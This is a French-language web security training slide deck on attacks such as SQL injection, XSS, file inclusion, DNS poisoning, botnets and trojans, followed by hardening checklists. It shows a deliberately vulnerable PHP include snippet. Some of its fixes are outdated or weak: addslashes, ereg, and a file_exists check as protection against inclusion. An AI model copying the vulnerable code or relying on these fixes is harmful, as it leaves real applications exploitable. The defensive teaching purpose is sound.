  • 132. Insufficient Anti-automation: Insufficient Anti-automation: Quand un site web permet à un attaquant d'automatiser un processus qui ne doit être effectuée que manuellement. Certaines fonctionnalités du site Web doit être protégé contre les attaques automatiques (inscription en ligne, création de compte email, …). Un robot automatisé pourrait potentiellement exécuter des milliers de demandes en une minute, provoquant la perte potentielle du service. Exemple: Chez Yahoo!
  • 133. Attaques sur la configuration standard
  • 134. Mauvaise configuration Les applications Web doivent faire confiance à une fondation sécurisée • On pense aux réseaux, aux systèmes et aux plateformes • Il ne faut pas oublier les environnements de développement Est-ce que votre code source est secret? • Pensez a tous les endroits ou l’on trouve votre code source. • La Sécurité ne doit pas se baser sur l’obscurité du code source. Il faut étendre la gestion de la configuration a toutes les parties de l’application • Tous les identifiants doivent être changés sur les environnements de production Impact • Installation d’une porte dérobée via un oubli de patch (serveur, réseau,…) • Failles XSS exploitées du à l’oubli de patch dans les frameworks • Accès non autorisé à des comptes , des données, ou des fonctionnalités applicatives par défaut non utilisées mais accessibles a cause d’une mauvaise configuration utilisateur
  • 135. Communication Knowledge Mgmt E-Commerce Bus. Functions Administration Transactions Accounts Finance Mauvaise configuration illustrée Database Custom Code App Configuration Framework Development App Server QA Servers Web Server Insider Hardened OS Test Servers Source Control
  • 136. configuration par défaut La plupart des administrateurs système laisse la configuration par défaut qui peuvent être une source d’attque: -configuration par défaut d’un BD. -- configuration par défaut serveur web. -- configuration par défaut d’un CMS(fichier de confs accessible via navigateur, mot de passe zone d’administration ,….) --Mot de passe par défaut. -Exemple: Un attaquant peut épuiser le nombre maximal de clients autorisés à se connecter sur le serveur Apache httpd, dans sa configuration par défaut. Un attaquant peut donc ouvrir de nombreuses sessions parallèles, dans lesquelles il envoie la requête par fragment de quelques octets, afin de faire perdurer ces sessions et d'atteindre MaxClients.  Les utilisateurs légitimes ne peuvent alors plus utiliser le service. Un attaquant peut donc épuiser le nombre maximal de clients autorisés à se connecter sur le serveur Apache httpd, dans sa configuration par défaut.
  • 138. Phishing  Le phishing est une technique qui exploite la crédibilité entre le client et le site, utilisée par des fraudeurs pour obtenir des renseignements personnels dans le but de perpétrer une usurpation d'identité.  Les criminels informatiques utilisent généralement l'hameçonnage pour voler de l'argent. Les cibles les plus populaires sont les services bancaires en ligne, et les sites de ventes aux enchères tels que eBay ou Paypal. Les adeptes de l'hameçonnage envoient habituellement des courriels à un grand nombre de victimes potentielles.
  • 141. Les chevaux de Troie  Histoire  La légende veut que les Grecs, n'arrivant pas à pénétrer dans les fortifications de la ville de Troie, eurent l'idée de donner en cadeau un énorme cheval de bois en offrande à la ville en abandonnant le siège.
  • 142. Les chevaux de Troie  De point de vue informatique un cheval de Troie est un logiciel d’apparence légitime, mais conçu pour exécuter des actions nuisibles à l’utilisateur.
  • 143. Les chevaux de Troie
  • 144. Les chevaux de Troie        Ecoute sur le clavier Capture d'écran Exécution d'application Edition du registre Accès au contenu du disque (+r,+w) Contrôle de plusieurs périphériques …
  • 145. Les réseaux botnet  Les réseaux botnet sont des réseaux formés de machines zombies commandées par un master (maître) dans le but de les utilisées dans un contexte malveillant.  D’une façon générale, pour assurer la communication entre les machines zombies et le maître, un canal IRC mit en place afin de transmettre les commandes.  Exploitation:  Destruction de données  Proxying  Hebergement non sollicité  Envoi de malware  DDOS  Spamming  Sniff
  • 146. Les réseaux botnet  Scénario 1:  Infection multiple par les botnets en utilisant plusieurs moyens: • web, mail, IM systems … • CD, Laptop, …  Une fois le bot mit en place: • Connexion aux serveurs maître • Recevoir les commandes • Infiltration des données sensibles
  • 148. L’écoute sur le réseau  L’écoute sur le réseau est une technique qui permet de collecter des données circulant sur le réseau local affin de dénicher certaines informations sensibles.  1er cas: réseau non switché
  • 149. L'écoute sur le réseau Mac B Port B Mac C Port C Mac pirate Port pirate Machine A Mac B Mac Mac pirate pirate IP B IP B IP pirate Machine B Pirate Mac A IP A Mac B IP B Mac A Mac Mac pirate pirate IP A IP A IP pirate
  • 150. DNS cache poisonning  La cache est une mémoire intermédiaire dans laquelle se trouvent stockées toutes les informations que le processeur central est le plus susceptible de demander.  La cache se caractérise par le faite d’être dynamique, FIFO  La cache a une durée de vie  Le Domain Name System (ou DNS, système de noms de domaine) est un système permettant d'établir une correspondance entre une adresse IP et un nom de domaine et, plus généralement, de trouver une information à partir d'un nom de domaine.
  • 151. DNS cache poisonning  Attaque basée sur le paradoxe des anniversaires DNS récursif DNS .com www.banque.com www.banque.com xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx Mémorisation dans le cache www.banque.com
  • 152. DNS cache poisonning  Attaque basée sur le paradoxe des anniversaires DNS récursif DNS .com www.banque.com www.banque.com yyy.yyy.yyy.yyy xxx.xxx.xxx.xxx Mémorisation dans le cache De la fausse @
  • 153. DNS cache poisonning  Attaque par l'ajout de plusieurs résolutions DNS DNS du pirate www.site.com www.google.com www.site.com www.site.com x.x.x.x www.google.com y.y.y.y
  • 154. Les Bonnes pratiques du développement sécurisé et d’administration de plate forme d’hébergement
  • 156. Comment éviter SQL Injection  Les failles d'injection SQL sont introduits au niveau de code source au cours de développement de l’application:  les développeurs de logiciels de créer des requêtes de bases de données dynamiques qui incluent l'entrée fournie par l'utilisateur.  Pour éviter les attaques par injection SQL est simple. Les développeurs doivent soit: a) cesser d'écrire des requêtes dynamiques, et / ou b) empêcher l'entrée fournie par l'utilisateur qui contient des verbes SQL
  • 157. Comment éviter SQL Injection Les fondamentaux défenses:  Règle 1:Utilisation Prepared Statements(requêtes paramétrées)  Règle 2:Utilisation de procédures stockées.  Règle 3: Valider toutes les entrées utilisateur Fourni de coté serveur Les défenses additionnel:  Exécuter avec le moindre des privilèges.  White List Input Validation.
  • 158. Comment éviter SQL Injection Règle 1:Utilisation Prepared Statements(requêtes paramétrées): Les requêtes paramétrées forcer le développeur de définir d'abord tout le code SQL après tous passage des paramètres et exécution Java EE – PreparedStatement() .NET –SqlCommand() or OleDbCommand() PHP –bindParam())
  • 159. SQL INJECTION – Comment se protéger
  • 160. SQL INJECTION – Comment se protéger
  • 161. SQL INJECTION – Comment se protéger
  • 162. SQL INJECTION – Comment se protéger
  • 163. SQL INJECTION – Comment se protéger Java Prepared Statement Example JAVA Comment créer un PreparedStatement ?
  • 164. SQL INJECTION – Comment se protéger Java Prepared Statement Example Comment passer/vider les paramètres du PreparedStatement(IN parameters) ?
  • 165. Java Prepared Statement Example Select Records Using Prepared Statement SQL INJECTION – Comment se protéger
  • 166. SQL INJECTION – Comment se protéger C# .NET Prepared Statement Example String query = "SELECT account_balance FROM user_data WHERE user_name = ?"; try { OleDbCommand command = new OleDbCommand(query, connection); command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text)); OleDbDataReader reader = command.ExecuteReader(); // … } catch (OleDbException se) { // error handling }
  • 167. Comment éviter SQL Injection Règle 2:Utilisation de procédures stockées.  Les procédures stockées ont le même effet que l'utilisation Prepared Statement lorsqu'elles sont appliquées en toute sécurité.  Ils demandent au développeur de définir le code SQL d'abord, puis passer dans les paramètres après.  La différence entre Prepared Statement et les procédures stockées est que le code SQL pour une procédure stockée est définie et stockée dans la base de données elle-même, ensuite appelé à l'application.
  • 168. Comment éviter SQL Injection Utilisation de procédures stockées_Exemple PHP Vous devez spécifier les paramètres qui gèrent les valeurs aussi bien pour l'entrée que pour la sortie ;
  • 169. Utilisation de procédures stockées_Exemple java
  • 170. Comment éviter SQL Injection  Règle 3: Valider toutes les entrées utilisateur Fourni de coté serveur: PHP: addslashes() : addslashes($ch) échappe les caractères " et ' en les faisant précéder d'un antislash . mysql_real_escape_string: Protège les caractères spéciaux d'une commande SQL ereg : La fonction ereg applique une expression régulière sur une chaîne par exemple pour valider une numéro de carte d’identité : ereg("^[0-9]{8}$", @$num). (évitez le SQL injection et XSS) Validations des types des inputs: Les fonctions suivants nous permet de vérifier les types des entrées après leurs manipulation: is_ array ,is_ binary ,is_ bool ,is_ buffer ,is_ callable ,is_ double ,is_ float ,is_ int , is_ integer ,is_ long ,is_ null ,is_ numeric ,is_ object ,is_ real ,is_ resource ,is_ scalar , is_ string , is_ unicode.
  • 171. Comment éviter SQL Injection  Valider toutes les entrées utilisateur Fourni de coté serveur:JAVA:  Solution: la validateur du Struts. Utiliser la bibliothèques du struts qui nous permet de valider tous types des données ( org.apache.commons.validator.routines) et qui contient par exemple:          Date and Time Validators, Numeric Validators , Regular Expression validation General Code Validation ISBN Validation IP Address Validation Email Address Validation URL Validation Domain Name Validation  Cette bibliothèques nous permet d’éviter tous formes de sql injection ,XSS, injection du code,file include etc.. *Pour plus d’information: lien: http://commons.apache.org/validator/apidocs/org/apache/commons/validator/routines/packagesummary.html#package_description
  • 172. Comment éviter XSS PHP: • htmlentities() , htmlspecialchars(): htmlentities($ch), htmlspecialchars($ch) convertit tous les caractères spéciaux en leur entité HTML . Exemple des remplacements effectués sont : – – – – "&" (et commercial) devient "&amp;" """ (guillemets doubles) devient "&quot; " ou "&#039;" "<" (inférieur à) devient "&lt;" ">" (supérieur à) devient "&gt;" Java: la validateur du Struts. Dot.Net: • HTMLEncode : • server.HTMLEncode remplace les caractères Ascii par leur equivalent HTML Exemple: server.HTMLEncode("<") donne &lt; IsNumeric :tester si une entrée est numérique ou nom par et ça nous aide de évitez l’injection SQL dans le champ de type numéric. Microsoft Anti-Cross Site Scripting Library: AntiXSSLibrary.HtmlEncode et AntiXSSLibrary. UrlEncode  ne laissera tel quel que les caractères suivants : (a-z A-Z 0-9 , . - _ ' ') ,tous les autres caractères seront encodés.
  • 173. Eviter la manipulation des fichiers PHP:file_exists: retourne TRUE si le fichier filename existe, et FALSE sinon. (évitez le file include). Insertion de fichier( La faille include ): <?php if(isset($_GET['page'])) {include $_GET['page'].'.php';} else {include 'accueil.php';} ?> <?php if(isset($_GET['page']) AND file_exists($_GET['page'].'.php')) {include $_GET['page'].'.php';} else { include 'accueil.php'; } ?> Java: boolean exists = (new File("filename")).exists(); if (exists) { // File or directory exists } else { // File or directory does not exist } Dot.net: if ( File.Exists(ton_fichier) ) { // Le fichier existe }
  • 176. Côté « application » 1) Sécurisation de la plateforme d’hébergement:  Mise à jour et hardening du serveur.  Détection d’intrusion réseau.  Détection d’intrusion au niveau de l’hôte (HIDS).  Détection antivirale  Filtrage applicatif
  • 177. Côté « application » 2) Suivi et audit des logs enregistrés au niveau de la plateforme de connexion :  log d’administration,  log d’accès public,
  • 178. Côté « application » 3. Sauvegarde des données sensible :  Applicatif,  base de données,
  • 179. Côté « application » 4) Validation de l’application:  Aprés insertion ou ajout de nouveaux services, …par une tierce entité .  Audit de l’application avant sa mise en ligne :  au niveau de cette phase toute la documentation relative à l’application doit être demandé (Conception, Structure, architecture)
  • 180. Côté « application » 5) Audit régulier de la sécurité :  de l’application,  du serveur web,
  • 181. Côté « application » 6) Notification immédiate de tout type d’incident touchant l’application web:  Pour déclarer des incidents, vous pouvez utiliser l'un des moyens suivants : - Via Email: envoyer nous un e-mail (sécurisé) à l'adresse suivante: incident@ansi.tn - Par Téléphone : (+216) 71 843 200 ou bien (+216) 71 846 020 et demandez le poste 119 (pour le recueil des déclarations) - Par Fax: (+216) 71 846 363
  • 182. Côté « application » 7) Mettre en place un plan de continuité de service:  via la virtualisation.  Ou autre solution.
  • 183. Côté « Poste Webmaster »
  • 184. Côté « Poste Webmaster » 1) Sécurisation du poste d’administration du site web:  Mise en place d’une solution antivirale et la maintenir à jours  Mise à jour des applications et du système d’exploitation (Patch de sécurité)  Mise en place d’un firewall personnel
  • 185. Côté « Poste Webmaster » 2) Sécurité physique du poste d’administration :  Utilisation d’un dispositif d’antivol  Verrouillage du système en cas de non usage  Cryptage des données
  • 186. Côté « Poste Webmaster » 3) Gestion des mots de passe:  Changement périodique des mots de passe  Stockage sécurisé des mots de passe si nécessaire  Protection des mots de passe contre la divulgation
  • 187. Côté « Poste Webmaster » 4) Contrôle d’accès:  Restreindre l’accès en administration (Par adresse IP, certificat électronique)  Utilisation des méthodes d’administration sécurisée (SSH, SCP, …)
  • 188. Côté « application » 5) Définir une procédure de veille:  Pour être à jours des nouvelles failles.  Appliquer les correctifs en temps optimal  Et pour garantir ça abonnez vous au mailinglist de l’ANSI.
  • 189. Bonnes pratiques pour la sécurité des plateformes web
  • 190.  Une plateforme web est l’ensemble de composants matériels et logiciels configuré et connecté à Internet permettant de servir des pages web sur demande. Les informations sur les serveurs web public peuvent être consultées par les internautes n'importe où sur Internet. De ce fait, ils peuvent être soumis à des tentatives d’attaques par les pirates.  Les pirates peuvent modifier le contenu des sites web et voler des données critiques du système. Cela peut se traduire par une perte importante de revenu si c’est une institution financière ou un site e-commerce et une perte ou vol de données pour d’autres entreprises.
  • 191. SECURISATION DU SYSTEME D’EXPLOITATION DU SERVEUR WEB
  • 192. SECURISATION DU SYSTEME D’EXPLOITATION DU SERVEUR WEB  Patch et mise à niveau du système d'exploitation:  Créer, documenter et mettre en place une procédure de patch  Tester les patchs sur un serveur de test avant de les appliquer sur le serveur en exploitation  Identifier et installer tous les correctifs et mises à niveau du système d'exploitation  Identifier et installer tous les correctifs et mises à niveau des applications et des services inclus avec le système d'exploitation  Installer les correctifs et les mises à jour à partir du site web officiel de l’OS utilisé  Si des correctifs ne sont pas encore disponibles, désactiver les services qui sont en relation avec la vulnérabilité identifiée si cela est possible
  • 193. SECURISATION DU SYSTEME D’EXPLOITATION DU SERVEUR WEB  Supprimer ou désactiver les services et applications inutiles  Désactiver ou supprimer tous les services et applications inutiles  Configurer l'authentification des utilisateurs du système d'exploitation  Supprimer ou désactiver les comptes et les groupes par défaut ou inutiles  Vérifier le choix des mots de passe (Longueur, Complexité, Réutilisation, …)  Prévenir le devine de mot de passe (par exemple, refuser la connexion après un nombre défini de tentatives non réussis)  Installer et configurer d'autres mécanismes de sécurité pour renforcer l'authentification
  • 194. SECURISATION DU SYSTEME D’EXPLOITATION DU SERVEUR WEB  Installer et configurer des contrôles de sécurité supplémentaires  Choisir, installer et configurer des logiciels supplémentaires pour assurer les contrôles nécessaires ne figurant pas dans le système d'exploitation, tels que :  les logiciels anti malwares : (antivirus, logiciel anti-espion, les détecteurs de rootkit)  des logiciels de détection et de prévention d'intrusion hôte (HIDS)  Evaluation de la sécurité du système d'exploitation  Effectuer le scan de vulnérabilité de l’OS après l’installation initiale afin d’identifier les vulnérabilités  Tester l’OS périodiquement pour identifier de nouvelles vulnérabilités  Effectuer un test de pénétration au moins une fois par an
  • 196. SECURISATION DU SERVEUR WEB  Installation sécurisée du serveur web  Installer le logiciel serveur web sur un serveur dédié  Appliquer les correctifs et les mises à jour pour neutraliser les vulnérabilités connues  Créer un disque physique dédié ou une partition logique (séparé de l'OS et du serveur web) pour le contenu Web  Supprimer ou désactiver tous les services inutiles installés avec le serveur web (par exemple, Gopher, FTP, administration à distance)  Supprimer ou désactiver tous les comptes de connexion par défaut ou inutiles créées lors de l'installation du serveur web  Enlever toute la documentation du fabricant du serveur web  Supprimer tous les fichiers et répertoires inutiles à partir du serveur (les fichiers de test, les scripts, codes exécutables, etc.)  Appliquer un modèle de sécurité approprié ou suivre un guide de hardening du serveur  Reconfigurer la bannière http afin de ne pas signaler le type du serveur web et la version de l’OS
  • 197. SECURISATION DU SERVEUR WEB  Configuration des contrôles d'accès:          Configurer le processus du serveur web à exécuter en tant qu'un simple utilisateur avec une limite des privilèges Configurer le serveur web en lecture seule sur les répertoires de l’application web Configurer le serveur web afin que seuls les processus autorisés pour l’administration de serveurs web puissent écrire des fichiers Configurer le système d'exploitation pour que le serveur web puisse écrire des fichiers journaux mais pas les lire Si l’écriture est autorisée sur le serveur web, limiter la taille des fichiers à uploader sur l’espace disque qui est dédié à cet effet. Les fichiers ajoutés doivent être placés sur une partition séparée S'assurer que les fichiers journaux sont stockés dans un emplacement qui est dimensionné de façon appropriée; les fichiers journaux doivent être placés sur une partition séparée Configurer le nombre maximal de processus de serveur Web et / ou des connexions réseau que le serveur Web doit permettre S’assurer que les utilisateurs et les administrateurs sont en mesure de changer leurs mots de passe périodiquement Désactiver les utilisateurs après une certaine période d'inactivité
  • 199. SECURISATION DU BD  Mettre à jour le SGBD avec les derniers correctifs stables  Utiliser des algorithmes de hachage/cryptage pour stocker les données critiques  Sécuriser le serveur de base de données derrière un firewall et utiliser un IDS pour détecter toute tentative d’intrusion  Le processus serveur base de données devrait fonctionner comme étant un utilisateur avec des privilèges minimum et jamais en tant qu'administrateur  Mettre en place une politique stricte de contrôle d'accès physique et logique  Activer les logs sur les tables jugés critiques  Certains serveurs de base de données comprennent des serveurs d’applications par défaut. Il est recommandé qu'ils soient supprimés s’ils sont inutiles  Le serveur de base de données ne devrait pas avoir une adresse IP accessible au public  L'accès à la base de données ne devrait être autorisé qu'à partir du serveur web sur un port bien particulier
  • 201. SECURISATION DU communication  configurer l'authentification basée sur l’adresse IP comme une seconde ligne de défense  Pour les ressources web qui nécessitent une protection minimale, mais pour lesquelles il n'existe pas de définition claire du public, configurer une authentification basique ou digest (meilleure)  Pour les ressources web qui nécessitent une protection contre les robots collecteurs ou les robots de bombardement, configurer l'authentification de base ou digest (mieux) ou appliquer d’autres techniques (tels que captcha, nofollow, etc.)  Pour les ressources web qui nécessitent une protection maximale, configurer SSL/TLS
  • 202. SECURISATION DU communication  Configurer SSL/TLS  S’assurer que le SSL / TLS mis en œuvre est entièrement mis à jour.  Utiliser un certificat émis par une tierce partie pour l'authentification du serveur  Pour les configurations qui nécessitent un niveau moyen d’authentification du client, configurer le serveur pour exiger un nom d'utilisateur et un mot de passe via SSL / TLS  Pour les configurations qui nécessitent un niveau élevé d'authentification de clients, configurer le serveur à exiger des certificats client via SSL / TLS  S'assurer que les algorithmes de chiffrement faibles sont désactivés  Configurer un contrôleur d'intégrité pour surveiller le certificat de serveur web  Si seulement SSL / TLS doit être utilisé dans le serveur web, s'assurer que l'accès via n'importe quel port TCP autre que le 443 est désactivé
  • 203. SECURISATION DU communuication  Protéger contre les attaques de brute force  Utiliser l'authentification forte, si possible (one time password, certificat numérique, etc.)  Verrouiller un compte après un nombre déterminé de tentatives de connexion a échoué  Appliquer une politique de mot de passe  Mettre une liste noire des adresses IP connus de tenter des attaques en brute force  Utiliser un logiciel de contrôle du journal (log) pour détecter les attaques en brute force
  • 205. INFRASTRUCTURE RÉSEAU SÉCURISÉE  Identifier l'emplacement dans le réseau:  Serveur web est situé dans une DMZ  Évaluer la configuration du firewall:  Serveur web est protégé par un pare-feu de couche d'application  Firewall contrôle tout le trafic entre l'Internet et le serveur web  Pare-feu bloque tout le trafic entrant vers le serveur web, sauf les ports TCP 80 (HTTP) et / ou 443 (HTTPS)  Pare-feu bloque les adresses IP que l’IDS/IPS reporte en tant que des adresses d’attaque  Pare-feu réseau notifie l'administrateur du serveur web des activités suspectes par un moyen approprié  Pare-feu offre le filtrage de contenu (pare-feu de couche d'application)  Pare-feu est configuré pour se protéger contre les attaques DoS  Firewall détecte les requêtes mal formés ou les URL d’attaque connus  Firewall journalise (logue) les événements critiques  Le firewall est mis à jour avec les derniers correctifs stables
  • 206. INFRASTRUCTURE RÉSEAU SÉCURISÉE  Évaluer les systèmes de détection et de prévention d'intrusion  IDS/IPS est configuré pour surveiller le trafic réseau depuis et vers le serveur web  IDS/IPS est configuré pour surveiller les changements apportés aux fichiers importants sur le serveur web (IDS/IPS hôte ou contrôleur d'intégrité de fichiers)  IDS/IPS bloque (en conjonction avec le firewall) les adresses IP ou les sousréseaux qui attaquent le réseau de l’entreprise  IDS/IPS avise l’administrateur du serveur web des attaques soupçonnées par des moyens appropriés  IDS/IPS est configuré de manière à maximiser la détection avec un niveau acceptable de faux positifs  IDS/IPS est configuré pour enregistrer les événements du journal  IDS/IPS est mis à jour fréquemment avec de nouvelles signatures d'attaque (par exemple, sur une base quotidienne)  IDS/IPS hôte est configuré pour surveiller les ressources système disponibles au niveau du serveur web
  • 207. INFRASTRUCTURE RÉSEAU SÉCURISÉE  Évaluer les commutateurs réseau  Les commutateurs sont utilisés pour protéger contre les écoutes réseau  Les commutateurs sont configurés en mode haute sécurité afin de vaincre les attaques ARP poisoning  Les commutateurs sont configurés pour envoyer tout le trafic sur le segment de réseau vers l’IDS/IPS réseau.  Évaluer les répartiteurs de charge (Load balancers)  Les répartiteurs de charge sont utilisés pour augmenter la disponibilité du serveur web  Les équilibreurs de charge sont complétés par les caches web  Evaluer le reverse proxy  Le reverse proxy est utilisé comme une passerelle de sécurité pour accroître la disponibilité du serveur web  Le reverse proxy est complété par une accélération de chiffrement, une authentification des utilisateurs et des fonctionnalités de filtrage de contenu
  • 209.  Hardning du système d’exploitation.(voir le guide dans la site officielle)  Hardning du serveur web(exemple voir guide hardening apache).  Hardning du serveur base des données(exemple voir guide hardening mysql).
  • 210.  Un web firewall applicatif (exemple voir guide de mod security).  Database firewall (exemple green sql).  urlScan:est un outil de sécurité Microsoft qui limite les types de requêtes HTTP traitées par Internet Information Services (IIS). IIS lockdown :est un outil qui permet d’assurer un plus haut niveau de sécurité en désactivant les options inutilisées d’IIS (Internet Information Services). Et contient l’outi urlscan lien : http://www.laboratoire-microsoft.org/d/?id=11151